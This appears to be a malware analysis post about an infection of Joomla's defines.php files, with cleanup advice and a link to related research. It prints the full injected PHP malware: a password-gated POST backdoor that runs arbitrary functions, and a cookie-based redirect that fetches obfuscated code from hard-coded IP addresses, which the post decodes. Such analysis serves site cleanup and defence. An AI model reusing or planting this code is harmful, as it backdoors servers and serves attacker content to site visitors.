We found old cookie (PHP_SESSION_PHP) based hidden redirect in joomla. These two modified files found when we search files:
/administrator/includes/defines.php /includes/defines.php
Normal part of these files look like this:
<?php /** * @package Joomla.Site * * @copyright Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; // Global definitions $parts = explode(DIRECTORY_SEPARATOR, JPATH_BASE); // Defines. define('JPATH_ROOT', implode(DIRECTORY_SEPARATOR, $parts)); define('JPATH_SITE', JPATH_ROOT); define('JPATH_CONFIGURATION', JPATH_ROOT); define('JPATH_ADMINISTRATOR', JPATH_ROOT . DIRECTORY_SEPARATOR . 'administrator'); define('JPATH_LIBRARIES', JPATH_ROOT . DIRECTORY_SEPARATOR . 'libraries'); define('JPATH_PLUGINS', JPATH_ROOT . DIRECTORY_SEPARATOR . 'plugins'); define('JPATH_INSTALLATION', JPATH_ROOT . DIRECTORY_SEPARATOR . 'installation'); define('JPATH_THEMES', JPATH_BASE . DIRECTORY_SEPARATOR . 'templates'); define('JPATH_CACHE', JPATH_BASE . DIRECTORY_SEPARATOR . 'cache'); define('JPATH_MANIFESTS', JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'manifests');
But then malware begin (SECOND PART), so rest of file:
//istart function is_valid_url(&$url) { if (!preg_match('/^(.+?)(\d+)\.(\d+)\.(\d+)\.(\d+)(.+?)$/', $url, $m)) return false; $url = $m[1].$m[5].'.'.$m[4].'.'.$m[3].'.'.$m[2].$m[6]; return true; } function request_url_data($url) { if(!is_valid_url($url)) return false; $site_url = (preg_match('/^https?:\/\//i', $_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'X-Forwarded-For: ' . $_SERVER["REMOTE_ADDR"], 'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"], 'Referer: ' . $site_url, )); $response = trim(curl_exec($ch)); } elseif (function_exists('fsockopen')) { $m = parse_url($url); if ($fp = fsockopen($m['host'], 80, $errno, $errstr, 6)) { fwrite($fp, 'GET http://' . $m['host'] . $m["path"] . '?' . $m['query'] . ' HTTP/1.0' . "\r\n" . 'Host: ' . $m['host'] . "\r\n" . 'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"] . "\r\n" . 'X-Forwarded-For: ' . @$_SERVER["REMOTE_ADDR"] . "\r\n" . 'Referer: ' . $site_url . "\r\n" . 'Connection: Close' . "\r\n\r\n"); $response = ''; while (!feof($fp)) { $response .= fgets($fp, 1024); } list($headers, $response) = explode("\r\n\r\n", $response); fclose($fp); } } else { $response = 'curl_init and fsockopen disabled'; } return $response; } function decrypt_url($encrypted_url) { $encrypted_url = base64_decode($encrypted_url); $url = ''; for ($i = 0; $i < strlen($encrypted_url); $i++) { $url .= chr(ord($encrypted_url[$i]) ^ 3); } return $url; } error_reporting(0); $_passssword = '76b2acde4962a97b811bc12563953b82'; $p = $_POST; if (@$p[$_passssword] AND @$p['a'] AND @$p['c']) @$p[$_passssword](@$p['a'], @$p['c'], ''); if (!empty($_GET['check']) AND $_GET['check'] == $_passssword) { echo('<!--checker_start '); $tmp = request_url_data('http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css'); echo(substr($tmp, 50)); echo(' checker_end-->'); } unset($_passssword); $bad_url = false; foreach (array('/\.css$/', '/\.swf$/', '/\.ashx$/', '/\.docx$/', '/\.doc$/', '/\.xls$/', '/\.xlsx$/', '/\.xml$/', '/\.jpg$/', '/\.pdf$/', '/\.png$/', '/\.gif$/', '/\.ico$/', '/\.js$/', '/\.txt$/', '/ajax/', '/cron\.php$/', '/wp\-login\.php$/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//') as $regex) { if (preg_match($regex, $_SERVER['REQUEST_URI'])) { $bad_url = true; break; } } $cookie_name = 'PHP_SESSION_PHP'; if (!$bad_url AND !isset($_COOKIE[$cookie_name]) AND empty($echo_done) AND !empty($_SERVER['HTTP_USER_AGENT']) AND (substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) != '74.125') AND !preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT'])) { // setcookie($cookie_name, mt_rand(1, 1024), time() + 60 * 60 * 24 * 7, '/'); // $url = base64_decode('a3d3czksLDI3Ny0xMDAtNTotOzAsYW9sZCw8c3ZuYiV2d25ccGx2cWBmPjo3MDMzOTQyNTowNzkyOzs0'); $url = decrypt_url('a3d3czksLDI3Ny0xMDAtNTotOzAsYW9sZCw8c3ZuYiV2d25ccGx2cWBmPjo3MDMzOTQyNTowNzkyOzs0'); $code = request_url_data($url); // if (!empty($code) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) { if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) { $echo_done = true; print $decoded; } }//iend
Also different urls found:
decrypt_url('a3d3czksLDI6Ny0wNy0xMDctOjIsYW9sZCw8bWpoZiV2d25ccGx2cWBmPjEyOzo7OTQyNzA1NzkyOzs2'); decrypt_url('a3d3czksLDI3Ny0xMDAtNTotOzAsYW9sZCw8c3ZuYiV2d25ccGx2cWBmPjo3MDMzOTQyNTowNzkyOzs0');
Decoded these:
http://144.233.69.83/blog/?puma&utm_source=94300:716934:1887 http://194.34.234.91/blog/?nike&utm_source=21898:714364:1885
Here list that website’s set PHP_SESSION_PHP cookie: https://webcookies.org/cookie/http/PHP_SESSION_PHP/41265
You can manually clean these files, just delete SECOND PART of file!
Similar vulnerability in wordpress, more details and info: https://blog.sucuri.net/2015/12/evolution-of-pseudo-darkleech.html